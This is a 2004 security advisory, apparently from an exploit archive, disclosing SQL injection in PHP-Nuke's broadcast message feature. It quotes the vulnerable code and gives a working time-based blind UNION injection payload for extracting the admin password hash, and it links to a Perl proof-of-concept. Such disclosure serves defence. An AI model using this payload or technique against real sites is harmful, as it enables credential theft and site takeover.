what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

waraxe-2004-SA003.txt

waraxe-2004-SA003.txt
Posted Feb 9, 2004
Authored by Janek Vind aka waraxe

PHP-Nuke versions 6.x through 7.1.0 are susceptible to SQL injection attacks.

tags | advisory, php, sql injection
SHA-256 | 4962278b44fd6ae11b16d0e252e35a512ae43148f98b8d43daa77867c0f0b293

waraxe-2004-SA003.txt

Change Mirror Download




{================================================================================}
{ [waraxe-2004-SA#003] }
{================================================================================}
{ }
{ [ SQL injection in Php-Nuke 7.1.0 ] }
{ }
{================================================================================}

Author: Janek Vind "waraxe"
Date: 08 Feb 2004
Location: Estonia, Tartu



Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is popular freeware content management system, written in php by
Francisco Burzi. This CMS (Content Management System) is used on many thousands
websites, because it`s free of charge, easy to install and has broad set of features.

Homepage: http://phpnuke.org



Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke 6.x-7.1.0 (maybe older too) have feature called "public message" alias
"broadcast message". There exists serious SQL Injection bug in implementation code of
this feature, which can lead to stealing of sensitive data from database, including
admin`s username and password md5 hash and finally to total overtaking of the site.



Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let`s look at original code from "/mainfile.php" function "public_message()":



if (!is_user($user) OR (is_user($user) AND ($pm_show == 1))) {

$c_mid = base64_decode($p_msg);

$sql = "SELECT mid, content, date, who FROM ".$prefix."_public_messages WHERE mid > '$c_mid' ORDER BY date ASC LIMIT 1";

$result = $db->sql_query($sql);
$row = $db->sql_fetchrow($result);

We can deliver the variable $p_msg by GET, POST or COOKIE parameter and because the Php-Nuke will
make force all GPC variables to be global, it will work even with "register_globals = Off";
Now comes the funniest part - because $c_mid will be derived from base64_decoded string, then we
can have unescaped single slashes, delivered directly to SQL query, and "magic_quotes_gpc = On" can`t
do anything about that!!

How can we use this to do something useful (from the point of attacker)? If the MySQL has version
4.x, then answer is: unions.

Consider this example:

$c_mid = x'UNION SELECT null,null,null,pwd FROM nuke_authors WHERE name='God'
AND IF(mid(pwd,1,1)='0',benchmark(200000,md5('woot')),1)/*

which will be finally:

SELECT
mid, content, date, who
FROM
nuke_public_messages
WHERE
mid > 'x'
UNION
SELECT
null,null,null,pwd
FROM
nuke_authors
WHERE name='God'
AND
IF
(mid(pwd,1,1)='0',benchmark(200000,md5('woot')),1)/*
' ORDER BY date ASC LIMIT 1


This method is so called "blind fishing", where we can get information from database
byte by byte, and it will work WITHOUT visual feedback from script. In our example,
if first char of the superadmin`s password md5 hash is '0', then the page generation
will be delayed for some seconds. If it`s not '0', then we have normal page
generation time and we can try next char - in this case '1'.

I wrote for proof of concept perl script, which can be found at:



http://www.zone.ee/waraxe/sa003/bcast.pl.php




Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ulljobu, djzone, raider and to all white-, gray-, and blackhats in Estonia!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

---------------------------------- [ EOF ] ------------------------------------
Login or Register to add favorites

File Archive:

November 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    16 Files
  • 2
    Nov 2nd
    17 Files
  • 3
    Nov 3rd
    17 Files
  • 4
    Nov 4th
    11 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    3 Files
  • 8
    Nov 8th
    59 Files
  • 9
    Nov 9th
    12 Files
  • 10
    Nov 10th
    6 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    1 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    9 Files
  • 15
    Nov 15th
    33 Files
  • 16
    Nov 16th
    53 Files
  • 17
    Nov 17th
    11 Files
  • 18
    Nov 18th
    14 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    26 Files
  • 22
    Nov 22nd
    22 Files
  • 23
    Nov 23rd
    10 Files
  • 24
    Nov 24th
    9 Files
  • 25
    Nov 25th
    11 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close